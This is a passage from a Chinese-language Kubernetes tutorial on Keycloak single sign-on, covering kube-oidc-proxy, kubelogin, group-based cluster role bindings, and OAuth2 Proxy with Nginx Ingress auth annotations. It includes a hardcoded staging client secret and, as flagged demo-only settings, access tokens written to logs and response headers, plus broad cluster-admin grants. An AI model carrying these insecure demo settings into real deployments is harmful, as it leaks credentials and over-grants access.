&lt;p&gt;&lt;code&gt;extraArgs&lt;/code&gt; 中设置的 &lt;code&gt;v: 10&lt;/code&gt; 要求 Kube OIDC Proxy 输出详细日志，便于排查问题。在生产环境中可以删除这一行。&lt;/p&gt;

&lt;p&gt;接下来用 Helm 安装 Kube OIDC Proxy：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;helm upgrade --install kube-oidc-proxy ./charts/kube-oidc-proxy --values kube-oidc-proxy/values-kube-oidc.yml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kube OIDC Proxy 启动之后，就可以配置 &lt;code&gt;kubectl&lt;/code&gt; 了。最简单的方式就是使用 &lt;a href=&#34;https://github.com/int128/kubelogin&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;kubelogin&lt;/code&gt;&lt;/a&gt;。它是一个 &lt;code&gt;kubectl&lt;/code&gt; 的插件，安装插件之后，如果执行 &lt;code&gt;kubectl&lt;/code&gt;，就会打开一个浏览器窗口，让用户在其中登录 Keycloak。登录之后它会负责刷新 Token，并负责会话过期之后的重新认证。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/int128/kubelogin&#34; target=&#34;_blank&#34;&gt;项目主页&lt;/a&gt;提供了该插件的安装方法，homebrew 用户可以用 &lt;code&gt;brew install int128/kubelogin/kubelogin&lt;/code&gt; 轻松完成，否则的话，推荐用 &lt;a href=&#34;https://krew.sigs.k8s.io/docs/user-guide/setup/install/&#34; target=&#34;_blank&#34;&gt;krew&lt;/a&gt; 管理 &lt;code&gt;kubectl&lt;/code&gt; 插件，这样就可以用 &lt;code&gt;kubectl krew install oidc-login&lt;/code&gt; 进行安装了。&lt;/p&gt;

&lt;p&gt;接下来就是创建一个 &lt;code&gt;kubeconfig.yml&lt;/code&gt; 文件，内容（&lt;code&gt;kubelogin/kuebconfig.yml&lt;/code&gt;）如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
clusters:
- cluster:
    server: https://kube.ssotest.staging.talkingquickly.co.uk
  name: default
contexts:
- context:
    cluster: default
    namespace: identity
    user: oidc
  name: default
current-context: default
kind: Config
preferences: {}
users:
- name: oidc
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      args:
      - oidc-login
      - get-token
      # - -v1
      - --oidc-issuer-url=https://sso.ssotest.staging.talkingquickly.co.uk/auth/realms/master
      - --oidc-client-id=kube-oidc-proxy
      - --oidc-client-secret=a32807bc-4b5d-40b7-8391-91bb2b80fd30
      - --oidc-extra-scope=email
      - --grant-type=authcode
      command: kubectl
      env: null
      provideClusterInfo: false
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;需要修改的内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;server&lt;/code&gt;：Kube OIDC Proxy 的 Ingress URL；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;oidc-issuer-url&lt;/code&gt;：和 Kube OIDC Proxy 中配置的 Keycloak URL；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;oidc-client-secret&lt;/code&gt;：Keycloak 客户端应用的 Secret；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-v1&lt;/code&gt;：可选项，用于输出更多日志信息。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;接下来执行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;export KUBECONFIG=./kubelogin/kubeconfig.yml
kubectl get pods
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;本文不会涉及 kubeconfig 文件的管理方法，而如果你还没有这方面的管理经验，强烈推荐使用 &lt;a href=&#34;https://direnv.net/&#34; target=&#34;_blank&#34;&gt;direnv&lt;/a&gt; 和 &lt;a href=&#34;https://github.com/ahmetb/kubectx&#34; target=&#34;_blank&#34;&gt;kubectx&lt;/a&gt; 的组合。我的 &lt;a href=&#34;http://www.talkingquickly.co.uk/2021/01/debian-dev-environment-for-remote-vscode/&#34; target=&#34;_blank&#34;&gt;Debian 远程开发环境&lt;/a&gt;和 &lt;a href=&#34;http://www.talkingquickly.co.uk/2021/01/macos-setup-with-ansible/&#34; target=&#34;_blank&#34;&gt;OSX 配置&lt;/a&gt;里面都提供了开箱可用的这两个工具。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;export KUBECONFIG=./kubelogin/kubeconfig.yml&lt;/code&gt; 这个用法仅在同一个终端会话中生效，所以如果切换到新的终端，或者关闭重新打开你的终端，这个配置就会退回到 Shell 缺省的 &lt;code&gt;KUBECONFIG&lt;/code&gt; 环境变量。&lt;/p&gt;

&lt;p&gt;当我们执行上面命令的时候，会打开一个浏览器，用户需要在浏览器里登录 Keycloak。&lt;/p&gt;

&lt;p&gt;然而我们会看到错误信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;Error from server (Forbidden): pods is forbidden: User &amp;quot;oidcuser:7d7c2183-3d96-496a-9516-dda7538854c9&amp;quot; cannot list resource &amp;quot;pods&amp;quot; in API group &amp;quot;&amp;quot; in the namespace &amp;quot;identity&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kubernetes 知道当前用户是 &lt;code&gt;oidcuser:7d7c2183-3d96-496a-9516-dda7538854c9&lt;/code&gt;，说明我们的用户已经通过认证，但是这个用户当前却又无权进行任何操作。&lt;/p&gt;

&lt;p&gt;我们可以创建一个 Cluster Role Binding，并把 &lt;code&gt;cluster-admin&lt;/code&gt; 角色绑定上去。&lt;/p&gt;

&lt;p&gt;我们需要另开一个终端，也就是我们还没有修改 &lt;code&gt;KUBECONFIG&lt;/code&gt; 的终端会话，这样我们就会使用一个 &lt;code&gt;cluster-admin&lt;/code&gt; 权限来操作集群了。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl create clusterrolebinding oidc-cluster-admin --clusterrole=cluster-admin --user=&#39;oidcuser:OUR_USER_ID&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;把 &lt;code&gt;OURUSERID&lt;/code&gt; 替换为登录用户的 Keycloak ID（可以参看上面的消息）。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;oidcuser:&lt;/code&gt; 前缀是 Kueb OIDC Proxy 配置中的 &lt;code&gt;usernamePrefix:&lt;/code&gt; 和 &lt;code&gt;oidcuser:&lt;/code&gt;。这一措施能够防止不同的用户系统之间造成冲突。&lt;/p&gt;

&lt;h3 id=&#34;使用-keycloak-群组登录到-kubernetes&#34;&gt;使用 Keycloak 群组登录到 Kubernetes&lt;/h3&gt;

&lt;p&gt;前面的步骤让我们的 &lt;code&gt;kubectl&lt;/code&gt; 用 Keycloak 用户登录集群。然而为每个用户创建一个 Cluster Role Binding 是个很麻烦的事情。&lt;/p&gt;

&lt;p&gt;要解决这个问题就要靠群组，我们会对 OIDC 实现进行配置，使其感知到 Keycloak 的群组。我们可以在 Keycloak 创建一个 &lt;code&gt;KubernetesAdmin&lt;/code&gt; 组，组中所有用户都使用同一个 Cluster Role Binding 被授予 &lt;code&gt;cluster-admin&lt;/code&gt; 权限。&lt;/p&gt;

&lt;p&gt;首先在 Keycloak 上创建一个 &lt;code&gt;KubernetesAdmin&lt;/code&gt; 群组，然后在群组中创建一个新用户。&lt;/p&gt;

&lt;p&gt;接下来要更新我们的 Keycloak 客户端，把用户所属群组的信息包含在 JWT 中。&lt;/p&gt;

&lt;p&gt;要完成这个任务要回到 Keycloak 客户端 &lt;code&gt;kube-oidc-client&lt;/code&gt; 条目中，并选择 &lt;code&gt;Mapper&lt;/code&gt; 分页，点击 &lt;code&gt;Create&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;输入如下内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Name&lt;/strong&gt;：&lt;code&gt;Groups&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mapper Type&lt;/strong&gt;：&lt;code&gt;Group Membership&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Full Group Path&lt;/strong&gt;：&lt;code&gt;Off&lt;/code&gt;；&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;然后保存。&lt;/p&gt;

&lt;p&gt;如果在 &lt;code&gt;kubelogin/kubeconfig.yml&lt;/code&gt; 文件中取消 &lt;code&gt;# - -v1&lt;/code&gt; 中的注释符，并删除 &lt;code&gt;~/.kube/cache/oidc-login/&lt;/code&gt; 的内容然后执行 &lt;code&gt;kubectl get pods&lt;/code&gt;，会再次进行登录，我们会看到 JWT 信息中包含了我们的群组信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  ...                                         
  &amp;quot;groups&amp;quot;: [                                                       
    &amp;quot;DockerRegistry&amp;quot;,                                             
    &amp;quot;Administrators&amp;quot;,
    &amp;quot;KubernetesAdmins&amp;quot;
  ],             
  ...
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们可以创建一个 Cluster Role Binding，让每个 &lt;code&gt;KubernetesAdmin&lt;/code&gt; 中的每个成员都有 &lt;code&gt;cluster-admin&lt;/code&gt; 的访问能力：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: oidc-admin-group
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- apiGroup: rbac.authorization.k8s.io
  kind: Group
  name: oidcgroup:KubernetesAdmins
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在我们的 Kube OIDC Proxy 配置中，使用 &lt;code&gt;groupsPrefix: &amp;quot;oidcgroup:&amp;quot;&lt;/code&gt; 的配置为群组名称加上了 &lt;code&gt;oidcgroup&lt;/code&gt; 前缀，防止和 Kubernetes 中的其他分组造成冲突。&lt;/p&gt;

&lt;p&gt;把这个 YAML 提交给集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl apply -f ./group-auth/cluster-role-binding.yml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后就可以删除前面单独创建的 Cluster Role Binding：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl delete clusterrolebinding oidc-cluster-admin
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上述动作完成之后，就能用 &lt;code&gt;kubectl get po&lt;/code&gt; 之类的简单命令来验证工作成果了。&lt;/p&gt;

&lt;p&gt;上述授权只是用于测试的，实际工作中应该创建更加严格的授权，例如一些只能在特定命名空间中工作的用户。&lt;/p&gt;

&lt;h2 id=&#34;使用-ingress-注解为-web-应用提供认证&#34;&gt;使用 Ingress 注解为 Web 应用提供认证&lt;/h2&gt;

&lt;p&gt;本章节完成后，只需要给 Ingress 加入注解，就能用 Keycloak 为其他应用提供认证功能。这就给我们一种方便易用的替换 Basic Auth 的方法。&lt;/p&gt;

&lt;p&gt;一部分运行在 Kubernetes 中的第三方应用都支持 OIDC 或者 LDAP 的登录。在部署自研应用时，可以使用 Keycloak 来管理登录，而无需额外开发 OIDC 或者 LDAP 的集成代码。&lt;/p&gt;

&lt;p&gt;下面将使用 OAuth2 Proxy 给一个简单的 Nginx 容器加入认证功能。之后观察一下如何访问应用，如何解码 Keycloak JWT 并使用群组鉴权等特性。&lt;/p&gt;

&lt;p&gt;可以用这种建议的方式对内部应用进行保护。在更复杂的环境中，还可以在 Keycloak 中创建一个 &lt;code&gt;customers&lt;/code&gt; realm，把认证和鉴权工作都交给 Keycloak。&lt;/p&gt;

&lt;p&gt;Keycloak Gatekeeper/Louketo 在 2020 年 8 月进入 EOL，因此我们使用 &lt;a href=&#34;https://github.com/oauth2-proxy/oauth2-proxy&#34; target=&#34;_blank&#34;&gt;OAuth2 Proxy&lt;/a&gt; 来完成这一任务。&lt;/p&gt;

&lt;h3 id=&#34;为-nginx-服务器设置-keycloak-认证&#34;&gt;为 Nginx 服务器设置 Keycloak 认证&lt;/h3&gt;

&lt;p&gt;首先要对 OAuth2 Proxy 进行配置，使之对接到 Keycloak，并使用 Helm 进行部署。&lt;/p&gt;

&lt;p&gt;接下来会用 Helm 部署&lt;a href=&#34;https://hub.docker.com/_/nginx&#34; target=&#34;_blank&#34;&gt;官方的 Nginx 容器镜像&lt;/a&gt;，用它作为测试应用，然后我们会使用 Keycloak 结合 Ingress 注解来对其进行访问控制。&lt;/p&gt;

&lt;p&gt;最后我们还要看看示例应用如何获得登录用的信息，从而有能力进行更细粒度的访问控制。&lt;/p&gt;

&lt;h3 id=&#34;工作原理&#34;&gt;工作原理&lt;/h3&gt;

&lt;p&gt;Nginx 支持&lt;a href=&#34;https://docs.nginx.com/nginx/admin-guide/security-controls/configuring-subrequest-authentication/&#34; target=&#34;_blank&#34;&gt;基于子请求结果的认证&lt;/a&gt;：当受保护页面接到请求时，Nginx 可以向一个额外的 URL 发送一个子请求，如果该 URL 返回了 2xx 的响应码，就允许接收这个请求，如果返回了 401 或 403，就会拒绝请求。&lt;/p&gt;

&lt;p&gt;实际上我们无需深入理解上面的内容，因为 OAuth2 Proxy 连接到了 Keycloak 进行实际的认证，并给 Nginx 提供了适用的端点，来检查用户是否登录。&lt;/p&gt;

&lt;p&gt;所以我们只要配置 OAuth2 Proxy 并给特定服务的 Ingress 加入合适的注解。&lt;/p&gt;

&lt;h3 id=&#34;配置-oauth2-proxy&#34;&gt;配置 OAuth2 Proxy&lt;/h3&gt;

&lt;p&gt;首先我们要在 Keycloak 创建一个客户端应用，创建一个新的 OpenID 连接应用，并作出如下设置：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Client ID&lt;/strong&gt;：&lt;code&gt;oauth2-proxy&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access Type&lt;/strong&gt;：&lt;code&gt;confidential&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Valid Redirect URLs&lt;/strong&gt;：&lt;code&gt;https://oauth.ssotest.staging.talkingquickly.co.uk/oauth2/callback&lt;/code&gt;，注意替换其中的域名。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;保存新建项目，并打开新出现的 &lt;code&gt;Credentials&lt;/code&gt; 页面，注意其中的 &lt;code&gt;Secret&lt;/code&gt; 内容。&lt;/p&gt;

&lt;p&gt;最后进入 &lt;code&gt;Mappers&lt;/code&gt; 页面，选择 &lt;code&gt;Create&lt;/code&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Name&lt;/strong&gt;：&lt;code&gt;Groups&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mapper Type&lt;/strong&gt;：&lt;code&gt;Group Membership&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Token Claim Name&lt;/strong&gt;：&lt;code&gt;groups&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;其它选项都设置为 &lt;code&gt;On&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;保存数据。这一配置的含义是，属于本组的用户会返回给 OAuth2 Proxy 并随后返回给应用。&lt;/p&gt;

&lt;p&gt;OAuth2 Proxy 有一个 &lt;code&gt;Keycloak&lt;/code&gt; Provider，但是这里我们会使用通用的 OIDC Provider。这是一个更通用的解决方案，并提供了自动刷新 Cookie 等 Keycloak Provider 所没有的一些功能。目前 OAuth2 Proxy 团队还在讨论修改 Keycloak Provider 为 OIDC Provider。&lt;/p&gt;

&lt;p&gt;下一步可以创建 OAuth2 Proxy 配置，在 &lt;code&gt;oauth2-proxy/values-oauth2-proxy.yml&lt;/code&gt; 中包含一个样本：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# Oauth client configuration specifics
config:
  clientID: &amp;quot;oauth2-proxy&amp;quot;
  clientSecret: &amp;quot;YOUR_SECRET&amp;quot;
  # Create a new secret with the following command
  # openssl rand -base64 32 | head -c 32 | base64
  cookieSecret: &amp;quot;YOUR_COOKIE_SECRET&amp;quot;
  configFile: |-
    provider = &amp;quot;oidc&amp;quot;
    provider_display_name = &amp;quot;Keycloak&amp;quot;
    oidc_issuer_url = &amp;quot;YOUR_ISSUER&amp;quot;
    email_domains = [ &amp;quot;*&amp;quot; ]
    scope = &amp;quot;openid profile email&amp;quot;
    cookie_domain = &amp;quot;.ssotest.staging.talkingquickly.co.uk&amp;quot;
    whitelist_domains = &amp;quot;.ssotest.staging.talkingquickly.co.uk&amp;quot;
    pass_authorization_header = true
    pass_access_token = true
    pass_user_headers = true
    set_authorization_header = true
    set_xauthrequest = true
    cookie_refresh = &amp;quot;1m&amp;quot;
    cookie_expire = &amp;quot;30m&amp;quot;

ingress:
  enabled: true
  path: /
  hosts:
    - oauth.ssotest.staging.talkingquickly.co.uk
  annotations:
    cert-manager.io/cluster-issuer: letsencrypt-production
    nginx.ingress.kubernetes.io/proxy-buffer-size: &amp;quot;16k&amp;quot;
  tls:
    - secretName: oauth-proxy-tls
      hosts:
        - oauth.ssotest.staging.talkingquickly.co.uk
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里有一些需要自行配置的关键字段：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;clientSecret&lt;/strong&gt;：Keycloak 凭据页面里保存的 &lt;code&gt;Secret&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cookieSecret&lt;/strong&gt;：可以用 &lt;code&gt;openssl rand -base64 32 | head -c 32 | base64&lt;/code&gt; 命令随机生成；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;loginurl&lt;/strong&gt;、&lt;strong&gt;redeemurl&lt;/strong&gt;、&lt;strong&gt;validate_url&lt;/strong&gt;：应该根据实际的 URL 和 Realm 进行配置；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cookiedomain&lt;/strong&gt;、&lt;strong&gt;whitelistdomain&lt;/strong&gt;：需要根据实际的域名进行配置，例如这里使用的 &lt;code&gt;.ssotest.staging.talkingquickly.co.uk&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ingress hosts&lt;/strong&gt;：设置为部署 OAuth2 Proxy 的 Ingress 主机名。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;cookie_domain&lt;/code&gt; 和 &lt;code&gt;whitelist_domain&lt;/code&gt; 都很重要，缺省情况下，OAuth2 Proxy 只对自己的主机名生效。所以 Cookie 只能指定到该主机名，重定向也只能对这个子域名生效。&lt;/p&gt;

&lt;p&gt;缺省情况下，OAuth2 Proxy 会请求一个 &lt;code&gt;api&lt;/code&gt; &lt;code&gt;scope&lt;/code&gt;，这在 Keycloak 是不存在的，会返回 &lt;code&gt;403 Invalid Scopes&lt;/code&gt; 的错误，因此要设置 &lt;code&gt;scope = &amp;quot;openid profile email&amp;quot;&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;set_authorization_header&lt;/code&gt; 确保 JWT 被回传给 Nginx Ingress，这样就能确保 Header 被回传给应用，应用可以借此获取登录用户的信息。&lt;/p&gt;

&lt;p&gt;最后，OAuth 报文中经常会传递较多的 Header 信息，因此这里设置 &lt;code&gt;nginx.ingress.kubernetes.io/proxy-buffer-size: &amp;quot;16k&amp;quot;&lt;/code&gt;，避免出现 &lt;code&gt;Cookie &amp;quot;oauth2proxy not present&amp;quot;&lt;/code&gt; 或者 &lt;code&gt;upstream sent too big header while reading response header from upstream&lt;/code&gt; 这样的错误。&lt;/p&gt;

&lt;h3 id=&#34;安装-oauth2-proxy&#34;&gt;安装 OAuth2 Proxy&lt;/h3&gt;

&lt;p&gt;同样地，因为 Stable 仓库即将淘汰，&lt;code&gt;OAuth2 Proxy&lt;/code&gt; Chart 还没迁移到新的仓库，所以我们在样例中保留了最近的版本，可以用如下命令进行安装：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;helm upgrade --install oauth2-proxy ./charts/oauth2-proxy --values oauth2-proxy/values-oauth2-proxy.yml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装结束，就可以浏览 Ingress 域名，会看到出现了 &lt;code&gt;Sign in with Keycloak&lt;/code&gt; 的选项。&lt;/p&gt;

&lt;p&gt;如果我们不小心使用管理员而非在 OAuth2 Proxy 登录会看到 403 之类的错误。&lt;/p&gt;

&lt;p&gt;如果我们成功地登录到了 Kyecloak，会被重定向到一个 404 页面，这是因为目前还没定义待认证页面。我们不应该直接访问这个 URL，正常情况下，认证流程应该在浏览受保护页面时被自动触发。所以前面的登录动作只是为了验证功能而已。&lt;/p&gt;

&lt;h3 id=&#34;为应用加入认证&#34;&gt;为应用加入认证&lt;/h3&gt;

&lt;p&gt;现在我们已经完成了 OAuth2 Proxy 的配置，接下来就可以安装一个示例应用，并在 Ingress 定义中加入注解，将应用置于认证保护之后。&lt;/p&gt;

&lt;p&gt;在这个例子中会安装一个简单的 Nginx，它只会提供一个 &lt;code&gt;Welcome to nginx&lt;/code&gt; 的静态页面，不同的是这个页面会要求登录认证。读者要注意不要把这个 Nginx 和 &lt;a href=&#34;https://kubernetes.github.io/ingress-nginx/&#34; target=&#34;_blank&#34;&gt;Nginx Ingress&lt;/a&gt; 混为一谈。&lt;/p&gt;

&lt;p&gt;这里用了 Bitnami 的 Nginx Helm Chart：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;helm repo add bitnami https://charts.bitnami.com/bitnami
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用如下代码配置我们的应用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;serverBlock: |
  log_format    withauthheaders &#39;$remote_addr - $remote_user [$time_local] &#39;
                    &#39;&amp;quot;$request&amp;quot; $status  $body_bytes_sent &amp;quot;$http_referer&amp;quot; &#39;
                    &#39;&amp;quot;$http_user_agent&amp;quot; &amp;quot;$http_x_forwarded_for&amp;quot; &amp;quot;$http_x_auth_request_access_token&amp;quot;&#39;;

    add_header    x-auth-request-access-token &amp;quot;$http_x_auth_request_access_token&amp;quot;;

  # HTTP Server
  server {
      # Port to listen on, can also be set in IP:PORT format
      listen  8080;

      include  &amp;quot;/opt/bitnami/nginx/conf/bitnami/*.conf&amp;quot;;

      location /status {
          stub_status on;
          access_log   off;
          allow 127.0.0.1;
          deny all;
      }

      access_log /dev/stdout withauthheaders;
  }

ingress:
  enabled: true
  hostname: nginx-demo-app2.ssotest.staging.talkingquickly.co.uk
  tls: true
  annotations:
    cert-manager.io/cluster-issuer: letsencrypt-staging
    nginx.ingress.kubernetes.io/auth-url: &amp;quot;https://oauth.ssotest.staging.talkingquickly.co.uk/oauth2/auth&amp;quot;
    nginx.ingress.kubernetes.io/auth-signin: &amp;quot;https://oauth.ssotest.staging.talkingquickly.co.uk/oauth2/start?rd=$scheme://$best_http_host$request_uri&amp;quot;
    nginx.ingress.kubernetes.io/auth-response-headers: &amp;quot;x-auth-request-user, x-auth-request-email, x-auth-request-access-token&amp;quot;
    acme.cert-manager.io/http01-edit-in-place: &amp;quot;true&amp;quot;
    nginx.ingress.kubernetes.io/proxy-buffer-size: &amp;quot;16k&amp;quot;

service:
  type: ClusterIP
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里定义的 &lt;code&gt;serverBlock&lt;/code&gt; 和实际的认证流程无关。下面两条认证措施，都是把 Nginx 作为演示应用的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;修改日志行为，在日志输出中加入 &lt;code&gt;x-auth-request-access-token&lt;/code&gt; Header，这样我们就可以查看日志中的 Token，进行分析和测试。&lt;/li&gt;
&lt;li&gt;自动为入站请求和响应加入 &lt;code&gt;x-auth-request-access-token&lt;/code&gt; Header，便于在浏览器进行查看。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;把 Token 输出到日志是非常危险的操作，决不应该用在生产环境之中。&lt;/p&gt;

&lt;p&gt;跟认证有关的行如下所示：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;ingress:
  annotations:
    nginx.ingress.kubernetes.io/auth-url: &amp;quot;https://oauth.ssotest.staging.talkingquickly.co.uk/oauth2/auth&amp;quot;
    nginx.ingress.kubernetes.io/auth-signin: &amp;quot;https://oauth.ssotest.staging.talkingquickly.co.uk/oauth2/start?rd=$scheme://$best_http_host$request_uri&amp;quot;
    nginx.ingress.kubernetes.io/auth-response-headers: &amp;quot;x-auth-request-user, x-auth-request-email, x-auth-request-access-token&amp;quot;
    acme.cert-manager.io/http01-edit-in-place: &amp;quot;true&amp;quot;
    nginx.ingress.kubernetes.io/proxy-buffer-size: &amp;quot;16k&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里用 &lt;code&gt;acme.cert-manager.io/http01-edit-in-place: &amp;quot;true&amp;quot;&lt;/code&gt; 注解来调用 Cert Manager 并设置响应 Header。&lt;code&gt;nginx.ingress.kubernetes.io/proxy-buffer-size: &amp;quot;16k&amp;quot;&lt;/code&gt; 则是增加缓存用于存储 OAuth 2 Proxy Header。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;nginx.ingress.kubernetes.io/auth-url&lt;/code&gt; 是第一处核心注解，指定了检查当前用户认证的 URL。当请求进入时，Nginx 会发送请求到这个网址，注意它发送的只是 Header 以及请求相关的 Cookie，而不包括 Body。URL 所对应的 Service（本例中就是 OAuth2 Proxy）负责根据 Cookie 和 Header 来验证用户的登录状态。如果用户已经过认证，服务会返回 2xx 状态码，然后这个请求就会传递给应用。如果未登录，请求就会转发给 &lt;code&gt;nginx.ingress.kubernetes.io/auth-signin&lt;/code&gt; 中的 URL，启动认证流程。要给所有子域提供认证，就需要把 OAuth2 Proxy 的 Cookie 域设置为上级域名。&lt;/p&gt;

&lt;p&gt;因为设置了 &lt;code&gt;set_authorization_header = true&lt;/code&gt;，当请求认证通过后，OAuth2 Proxy 就会在返回给 Nginx 的 2xx 响应中加入 &lt;code&gt;x-auth-request-access-token&lt;/code&gt; Header，其中包含了认证 Token，本例中这个 Token 是包含用户和会话的 JWT 信息。&lt;/p&gt;

&lt;p&gt;缺省情况下，被认证应用是不能访问这个 Token 的，要获取认证用户的信息，或者该用户所属的群组，要获取这些信息，需要设置 &lt;code&gt;nginx.ingress.kubernetes.io/auth-response-headers: &amp;quot;x-auth-request-user, x-auth-request-email, x-auth-request-access-token&amp;quot;&lt;/code&gt;，它会通知 Nginx Ingress，从返回的 2xx 响应中获取这几个 Header，并传递给后端应用。这样后端应用就能够获取 Header，并解码 JWT 来获取用户的相关信息。&lt;/p&gt;

&lt;p&gt;在这个简单的例子里，会把这些信息输出到日志里（不安全），并把信息响应给用户。如果访问示例应用的 Ingress URL，在本例中就是 &lt;code&gt;https://nginx-demo-app2.ssotest.staging.talkingquickly.co.uk&lt;/code&gt;，就会要求登录，然后重定向到 &lt;code&gt;Welcome to nginx!&lt;/code&gt; 页面。&lt;/p&gt;

&lt;p&gt;可以用浏览器的网络页来观察请求内容，会看到响应中的 &lt;code&gt;x-auth-request-access-token&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;如果我们把 Header 内容拷贝出来进行解码（例如 &lt;a href=&#34;https://jwt.io/&#34; target=&#34;_blank&#34;&gt;https://jwt.io&lt;/a&gt;）就会看到类似内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
...
  &amp;quot;scope&amp;quot;: &amp;quot;openid email profile&amp;quot;,
  &amp;quot;email_verified&amp;quot;: false,
  &amp;quot;name&amp;quot;: &amp;quot;Ben Dixon&amp;quot;,
  &amp;quot;groups&amp;quot;: [
    &amp;quot;/DockerRegistry&amp;quot;,
    &amp;quot;/KubernetesAdmins&amp;quot;,
    &amp;quot;/Administrators&amp;quot;
  ],
  &amp;quot;preferred_username&amp;quot;: &amp;quot;talkingquickly&amp;quot;,
  &amp;quot;given_name&amp;quot;: &amp;quot;Ben&amp;quot;,
  &amp;quot;family_name&amp;quot;: &amp;quot;Dixon&amp;quot;,
  &amp;quot;email&amp;quot;: &amp;quot;ben@talkingquickly.co.uk&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在更复杂的系统中，后端系统会用这里的信息进行判断，根据用户和群组信息来展示不同内容。&lt;/p&gt;

&lt;h2 id=&#34;token-过期&#34;&gt;Token 过期&lt;/h2&gt;

&lt;p&gt;我们已经完成了两阶段认证。当请求认证通过之后，OAuth2 Proxy 会跟 Keycloak 进行通信，并取得 Access Token。只要 OAuth2 Proxy 的 Cookie 存在并且有效，相应的请求就不会需要重新使用 Keycloak 进行认证。&lt;/p&gt;

&lt;p&gt;使用 JWT 时，很可能会遭遇一个问题就是过期（缺省情况下，Keycloak 的 Access Key 寿命只有一分钟）。这个问题会导致一个麻烦，用户通过了 OAuth2 Proxy 的验证，但是传递给 &lt;code&gt;x-auth-request-access-token&lt;/code&gt; 的 JWT 已经过期了。如果我们在应用中对 JWT 进行验证，会抛出 Token 无效的异常。&lt;/p&gt;

&lt;p&gt;下面的配置可以解决这个问题：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ini&#34;&gt;cookie_refresh = &amp;quot;1m&amp;quot;
cookie_expire = &amp;quot;30m&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

